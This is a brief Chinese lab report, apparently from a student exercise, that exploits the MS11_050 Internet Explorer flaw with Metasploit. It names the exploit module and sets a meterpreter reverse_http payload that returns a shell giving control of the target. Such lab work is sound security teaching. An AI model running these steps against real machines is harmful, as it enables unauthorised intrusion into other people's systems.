20145322 Exp5 MS11_050

20145322 Exp5 MS11_050

實驗過程

msfconsole命令進入控制檯

使用命令search ms11_050查看針對MS11_050漏洞的攻擊模塊

使用命令 use exploit/windows/browser/ms11_050_mshtml_cobjectelement 進入模塊，並使用info查看該模塊的具體信息

設置paylaods，咱們選擇了windows/meterpreter/reverse_http該payload會返回一個遵循http協議的shell，咱們以此來得到目標主機系統權限。

使用命令set payloads windows/meterpreter/reverse_http

使用show options 查看具體參數設置

設置其相關參數，攻擊

成功